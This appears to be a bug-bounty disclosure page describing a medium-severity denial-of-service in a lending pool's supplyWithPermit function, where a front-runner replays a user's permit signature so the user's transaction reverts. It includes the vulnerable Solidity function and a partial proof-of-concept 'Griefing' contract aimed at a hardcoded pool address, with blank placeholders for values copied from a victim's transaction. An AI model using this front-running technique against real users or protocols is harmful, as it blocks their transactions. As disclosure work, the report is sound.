29170 - [SC - Medium] DoS by front-runnable externall call
Previous29149 - [SC - Insight] DoS in Zero Registry configuration updationNext29175 - [SC - Insight] Granting DEFAULT_ADMIN_ROLE to the deployer in ...
Last updated
Was this helpful?
Was this helpful?
The sig is valid (compares it to a sig constructed using parameters + user's nonce)
Deadline hasn't passed. function supplyWithPermit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode,
uint256 deadline,
uint8 permitV,
bytes32 permitR,
bytes32 permitS
) public virtual override {
IERC20WithPermit(asset).permit(
msg.sender,
address(this),
amount,
deadline,
permitV,
permitR,
permitS
);
SupplyLogic.executeSupply(
_reserves,
_reservesList,
_usersConfig[onBehalfOf],
DataTypes.ExecuteSupplyParams({
asset: asset,
amount: amount,
onBehalfOf: onBehalfOf,
referralCode: referralCode
})
);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IERC20 {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
contract Griefing {
address ZeroLendPoolZK = 0x4d9429246EA989C9CeE203B43F6d1C7D83e3B8F8;
/* NOTE : It should include the informations extracted by frontrunner from user transaction */
address owner = address(user);
address _asset = ;
uint256 _amount = ;
address _onBehalfOf ;
uint16 _referralCode = ;
uint256 _deadline = ;
uint8 _permitV = ;
bytes32 _permitR = ;
bytes32 _permitS = ;
function TestGriefing() public {
IERC20(_asset).permit(
owner,
ZeroLendPoolZK,
_amount,
_deadline,
_permitV,
_permitR,
_permitS
);
}
}